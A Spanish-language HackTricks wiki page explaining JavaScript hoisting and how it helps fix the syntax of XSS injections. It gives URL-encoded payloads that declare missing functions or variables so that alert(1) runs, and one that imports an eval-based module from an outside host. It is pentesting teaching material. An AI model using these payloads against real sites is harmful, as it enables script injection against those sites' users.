JS Hoisting

Aprende hacking en AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

En el lenguaje JavaScript, se describe un mecanismo conocido como Elevación donde las declaraciones de variables, funciones, clases o importaciones se elevan conceptualmente hasta la parte superior de su ámbito antes de que se ejecute el código. Este proceso es realizado automáticamente por el motor de JavaScript, que recorre el script en múltiples pasadas.

Durante la primera pasada, el motor analiza el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracto. Esta fase incluye la elevación, un proceso donde ciertas declaraciones se mueven a la parte superior del contexto de ejecución. Si la fase de análisis es exitosa, indicando que no hay errores de sintaxis, la ejecución del script continúa.

Es crucial entender que:

  1. El script debe estar libre de errores de sintaxis para que ocurra la ejecución. Las reglas de sintaxis deben ser estrictamente seguidas.

  2. La ubicación del código dentro del script afecta la ejecución debido a la elevación, aunque el código ejecutado puede diferir de su representación textual.

Tipos de Elevación

Según la información de MDN, existen cuatro tipos distintos de elevación en JavaScript:

  1. Elevación de Valor: Permite el uso del valor de una variable dentro de su ámbito antes de su línea de declaración.

  2. Elevación de Declaración: Permite hacer referencia a una variable dentro de su ámbito antes de su declaración sin causar un ReferenceError, pero el valor de la variable será undefined.

  3. Este tipo altera el comportamiento dentro de su ámbito debido a la declaración de la variable antes de su línea de declaración real.

  4. Los efectos secundarios de la declaración ocurren antes de que el resto del código que la contiene sea evaluado.

En detalle, las declaraciones de funciones exhiben el comportamiento de elevación del tipo 1. La palabra clave var demuestra el comportamiento del tipo 2. Las declaraciones léxicas, que incluyen let, const y class, muestran el comportamiento del tipo 3. Por último, las declaraciones import son únicas en el sentido de que se elevan con los comportamientos del tipo 1 y tipo 4.

Escenarios

Por lo tanto, si tienes escenarios donde puedes Inyectar código JS después de que se use un objeto no declarado, podrías corregir la sintaxis declarándolo (para que tu código se ejecute en lugar de arrojar un error):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Más Escenarios

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Referencias

Aprende hacking en AWS desde cero hasta convertirte en un héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización